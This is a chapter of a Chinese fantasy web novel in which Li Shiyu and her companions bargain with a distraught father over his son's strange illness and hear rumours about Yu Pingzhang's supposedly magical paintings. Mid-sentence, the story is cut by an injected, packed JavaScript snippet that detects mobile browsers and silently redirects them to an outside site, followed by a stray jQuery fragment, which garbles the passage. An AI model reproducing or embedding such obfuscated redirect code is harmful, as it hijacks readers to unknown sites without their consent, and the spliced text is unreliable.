虽然没有听到问题的答案,但是有人出面打破剑拔弩张的氛围,那也是好的。
沈潜立马站起身来,邀请张松山坐在他旁边。
“张员外,来,坐下说。”
“不了,不了,”张松山连连摆手,“沈公子,我现在哪儿还有心情坐着啊!你快跟我走吧!”
沈潜看了一眼饭桌旁的其他几人,有两个赌气不说话的,还有一个睁着无辜的大眼睛等着吃饭的,他想,还是得他来出面交涉。
“发生什么事了?”沈潜把张松山按到板凳上,“你先把情况说明,我好心里有数。我昨日,不是给了你一颗救命丹药吗?怎么还喊救命?”
“哎呀!您可快别说了!多亏了这丹药,不然啊,我现在就不在这里,而是躺在棺材铺了!”张松山庆幸地拍着大腿,十分激动。
沈潜惊讶地捂住嘴,“你儿子打你啦?”
星柔也跟着张大嘴巴,眼睛里是对张松山的怜悯。
“不是,不是,他没有打我。昨夜子时,果真如沈公子所说,涣儿猛地呕了好大一口血,然后从床上坐了起来,下床走动。起初,我跟他娘还以为他要好起来了,谁知道他在书桌上翻了翻,找出一幅画来,挂在了架子上。然后他那双手还捏成那鸡爪子模样,咿咿呀呀地开始跳舞。哎……他娘都被他吓晕了。”
沈潜昨日是瞎说的,故意吓张松山的,没想到还真让他给碰对了,这张子涣果真回光返照,能下床走动,还能跳舞了。
李拾虞的气已经缓了几分,安静听着。
“大半夜的,不仅不睡觉,还睁着眼睛跳舞,多吓人啊!我把沈公子你给我的丹药喂给涣儿了,然后他就不跳了,头一栽倒下了。我就赶紧喊人把他扶到床上去,好让他好好休息。涣儿眼睛是闭上了,但是这一睡过去,就没有再醒过来,我知道沈公子妙手回春,是有真本事的,就赶紧过来找您了。您一定要救救我家涣儿啊!”
张松山说着说着,便又哭了起来,惹得新进来的客人也看了过来。
苍济仍皱着眉,他还是没有想明白李拾虞生气的原因。
沈潜没有立马答应,“我昨日便说了,令郎情况不容乐观,是你们不愿意医治的。现在情况恶化,我若出手治了,万一还没治好,你们再讹我,那我到时候要找谁说理去?”
“那必然不会的,沈公子可以放心,我张家岂是那忘恩负义之辈?”张松山举起手,“我张松山在此起誓,若是……”
“等等!我可不要你的誓言。你不讹我,可保不齐你家的夫人也不讹我。你也看到了,她昨日那副要吃了我们的样子,我是不敢再去了。”沈潜没敢看李拾虞的眼睛,只按照苍济的意思说道,“你若真心想要请我治你儿子,便让你夫人亲自上门赔礼道歉。她昨日骂得那么难听,要是她不松口,谁敢上门找无趣呢?”
星柔听明白了,也看明白了,她一拍桌子,无比坚定,“对,没错!给我姐姐赔礼道歉!”
李拾虞和苍济一起抬眼看向星柔,一个震惊,一个惊喜。
“星柔,你怎么和他们一起胡闹?”李拾虞传音给她。
“星柔,你长大了,懂得保护姐姐了。”苍济同样传音给她。
张松山擦擦额头上的汗,“应该的,应该的。赔礼道歉是应该的。可是,我儿的病情……”
“他吃了我的药,睡上一天一夜是正常的,不着急的。”沈潜眨眨眼,表情无辜。
张松山慌乱起身,“好,好,我这就去喊夫人来赔礼道歉。”
“嗯呢,等你哦。”沈潜挥挥手,目送张松山和他的管家、家丁一起离开。
人一走,李拾虞就又无奈地问了一遍,“星柔,你怎么也跟着胡闹了?”
星柔撇撇嘴,没有说话。
“这怎么能是胡闹呢?”苍济纠正她的措辞,“这应该叫,‘行侠仗义’、‘见义勇为’,反正是值得表扬的行为。”
沈潜忍不住抱怨,“坏人都让我当了,你还说她是跟着胡闹。难道星柔是好孩子,我就是坏孩子了吗?”
“不是这个意思……”李拾虞弱下气势,她突然发现,另外三个人已经站在同一阵营了。
“姐姐,你不要生气嘛。”星柔拉住李拾虞的手,“本来就是我们占理的,怕什么?不要不好意思。暮朝姐姐说过,对就是对,错就是错,错了就要道歉!而受了委屈的狐狸,就要大大方方地讨回公道!”
受了委屈……
李拾虞感到她的鼻子酸酸的,眼前的东西变得模糊,她的眼眶里,控制不住地蓄起了泪水。
为了不让眼泪流出来,李拾虞端起面前的茶杯,双手捧着,装作是要喝水的样子。
“客官,您的菜来啦!”
好在,店小二及时出现,给李拾虞的脆弱争取了些许空间。
星柔瞟见了李拾虞眼尾的晶莹,她没有追问什么,而是站起身,给大家分筷子,“吃饭,吃饭!忙了一上午,肚子早就咕咕叫了!”
被星柔的衣袖挡住瞬间,李拾虞用力睁了睁眼睛,顺手抹掉了眼尾的潮湿。
苍济没有再说什么,只是默默地往李拾虞的碗里夹了一根鸡腿,又往她的碟子里夹了一块梅花酥。
埋头吃饭间,传来邻桌的交谈声,李拾虞顾不上多想其他,把耳朵凑了过去。
“可真是邪门儿了,薛家六郎果真也中招了,我就说那天在街上见到他的时候,他不太对劲儿呢。”
说话的,是昨日提到薛绍之的那个人。
“先是城南张家,这是城西薛家,我听街口的刘麻子说,城东和城北,也有突然就傻了的。总不能真怪读书读傻了吧?是快该考试了,但是也不能把自己往死里逼啊。”另一人有些害怕。
“不能吧,疯了一个两个的,还有可能。哪能一下疯十来二十个的。我看啊,就是中邪了,说不定是撞见了不该看见的东西,被吓掉魂儿了。”又一人,语气神秘,压低了声音。
“子不语,怪、力、乱、神。你可不要胡言乱语。”有一人,不愿相信如此解释。
“不过,若说怪事,还真有一件。你们难道忘了吗?那俞平章,之前只是在各家的红白喜事上记个礼单,当个‘礼部尚书’,好混口饭吃。也不知道是走了哪门子的大运,他的书画一下子就出名了,说是什么,挂在书房里,可以提升做文章的才气。有人买了,果真出口成章,下笔有神。然后就引发了争抢,现在他就算是做不了官,也不愁吃穿了。”
“何止是不愁吃穿,他的书画都炒成什么样子了?谁能想到,甚至有钱都不一定能买得到呢?啧啧啧,我要是也有这运气就好了。”
“那你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868263|175443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也支个摊子,把你书房里的老古董都摆出来呗,看能不能卖上几两银子。”
“我哪儿有名气啊,摆了也没人来买。不过,要是混进俞平章的摊子里,那就不愁卖了。反正啊,我觉得他的书画也就那样,没什么特别的嘛,也不知道那些傻子在抢什么。难道真有那么灵,挂了画,就能变成文曲星?我不信。”
李拾虞的耳朵越凑越近,逐渐吸引了邻桌人的注意。
“这位姑娘,也对书画之事感兴趣吗?”讲述俞平章之怪事的书生,歪头看向李拾虞。
桌上众人亦扭头看向李拾虞等人。
“哈哈……听各位兄台聊得起兴,不免好奇。”李拾虞侧身,露出被她挡住的苍济,“我这大侄儿屡试不第,正发愁呢!”
一口梅花酥噎在喉间,苍济虚掩住嘴,猛咳两声。
李拾虞不管他,抬腿绕过板凳,又往前挪了两步。
“我们家的人没读过什么书,就指望着他能够考个好名次,做个小官,也好让我们家能过上好日子。”她抬起袖子,擦了擦眼尾的泪珠,“他爹娘年纪大了,全靠我这个做姑姑的,带他出来游学、见世面。要是能有你们说的那位俞……”
“俞平章。”旁边的人提醒她。
李拾虞一拍手,“哦,对,俞平章。要是能有这位俞平章先生的书画保佑,那可就太好了。敢问,要去哪里找这位俞先生呢?”
“他每三天支一回摊,从这里往东走,过三条街,有一座石板桥,桥前有个拐角,他就在那儿支摊儿。”那人掐指算了算,“明日又到了他出摊的日子了。你们可以明日再去看看。”
“多谢兄台!我家大侄儿可算是有救了!”李拾虞十分高兴。
“不过,我可要提醒你们,别抱太大希望。”另一人没什么兴致。
“哦?是不灵吗?”李拾虞继续问。
“也不是说不灵……嗐!都是过去的事儿了,我们也只是听说,就不多嘴了。总之,你们也别太当回事儿了,省得白白搭进去银子。”
那几人不愿再多说,互相招呼着埋头吃饭了。
李拾虞挪回板凳,转回了身。
苍济丧着一张脸,沈潜和星柔反而在努力憋笑。
“那明日,便去求一下文运吧,好大侄儿。”李拾虞拿起筷子,说完就埋头吃菜。
星柔往她碗里夹了一块五花肉,说话间没忍住笑,“补一补。”
“你也补一补。”沈潜也给苍济夹了一块。
苍济活了这么多年,还没有人敢叫他“好大侄儿”。
“李,拾,虞。”他盯着她,咬着牙,一字一顿。
“嗯?你不爱吃吗?”李拾虞不看他的眼睛,只是盯着他碗里的红烧肉,精准又快速地夹到了自己的碗里,“那我吃。正好我需要补一补。”
“……”
苍济垂下的眼睛蓦然睁大,难以置信地看着吃得真香的始作俑者。
“还有,咱还有。”沈潜笑着又夹给苍济一块。
沈潜擦了擦手上的油,轻抚苍济的后背,在他耳边小声道:“咱不生气,大丈夫能屈能伸,你喊她一声‘姑姑’,她又能得到什么好处?”
苍济的眼睛路过偷笑的星柔,转到沈潜身上。
沈潜默默地收回了手,但是嘴角的笑却没有压住。